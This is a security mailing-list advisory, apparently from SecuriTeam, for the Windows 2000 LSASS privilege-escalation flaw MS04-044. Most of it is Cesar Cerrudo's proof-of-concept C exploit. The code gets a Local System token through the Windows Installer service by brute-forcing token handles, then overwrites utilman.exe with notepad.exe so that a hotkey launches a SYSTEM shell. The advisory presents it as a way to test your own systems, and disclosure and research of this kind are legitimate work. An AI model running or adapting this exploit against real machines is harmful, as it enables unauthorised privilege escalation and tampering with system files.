[EXPL] Windows LSASS Exploit Code (MS04-044)

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Windows LSASS Exploit Code (MS04-044)
------------------------------------------------------------------------


SUMMARY

As we reported by in previous article:  
<http://www.securiteam.com/windowsntfocus/6M00F1FC0I.html> Vulnerabilities 
in Windows Kernel and LSASS Allows Elevation of Privilege (MS04-044), a 
vulnerability in Windows's LSASS allows a local attacker to gain elevated 
privileges, the following exploit code can be used to test your system for 
the mentioned vulnerability.

DETAILS

Exploit:
// Impersonation POC Exploit
// Works on Win2k all service packs
// by Cesar Cerrudo  (sqlsec>at<yahoo>dot<com)
// http://www.microsoft.com/technet/security/bulletin/MS04-044.mspx - SECU
// (*1*) If it doesn't work try again and research yourself. Don't ask me.

#include "stdafx.h"
#include "windows.h"
#include "stdio.h"


#define INFO_BUFFER_SIZE MAX_COMPUTERNAME_LENGTH + 1
#define PATH_SIZE  INFO_BUFFER_SIZE + MAX_PATH + 4
typedef UINT (WINAPI* PFnMsiInstallProduct)(LPCSTR szPackagePath, LPCSTR 
szCommandLine);


int main(int argc, char* argv[])
{
        HANDLE hToken,hThread;
        HMODULE hMsi = 0;
        CHAR  infoBuf[INFO_BUFFER_SIZE];
        DWORD  bufCharCount = INFO_BUFFER_SIZE;
        CHAR file1[PATH_SIZE]="\\\\";
        CHAR file2[PATH_SIZE]="\\\\";
        CHAR file3[PATH_SIZE]="\\\\";
        
        //Get name of the computer.
        GetComputerName(infoBuf, &bufCharCount);
        
        hThread=GetCurrentThread();
        hMsi = LoadLibrary("msi.dll");

        //Invoke windows installer service in order to steal a Local 
System account identity token.
        //Curious? some internal LPC magic here, see *1*
        PFnMsiInstallProduct MsiInstallProduct = 0;
        MsiInstallProduct = (PFnMsiInstallProduct)GetProcAddress(hMsi, 
"MsiInstallProductA");
        MsiInstallProduct("","");
   
        //Get Local System account identity token and set it to current 
thread
        hToken=(void*)0x1;
        while(SetThreadToken(&hThread,hToken)==NULL){
                hToken=(void*)((int)hToken+1);
        }

        strcat(file1,infoBuf);
        strcat(file1,"\\C$\\winnt\\system32\\utilman.exe");
    
        strcat(file2,infoBuf);
        strcat(file2,"\\C$\\winnt\\system32\\utilmanback.exe");
    
        strcat(file3,infoBuf);
        strcat(file3,"\\C$\\winnt\\system32\\notepad.exe");

        //Replace Utility Manager with Notepad impersonating Local System 
account
        //BTW: fuck Windows file protection :)
        if(!CopyFile(file1,file2, TRUE))
                printf("CopyFile() failed: %d\n", GetLastError());
        else
                if(!CopyFile(file3,file1, FALSE))
                        printf("CopyFile() failed: %d\n", GetLastError());
                else {
                        printf("\nPress WinKey+U to run Notepad as Local 
System\n");
                        printf("Remember to restore original utilman.exe 
from utilmanback.exe\n");
                }

        Sleep(5000);
        return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:cesarc56@yahoo.com> Cesar.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.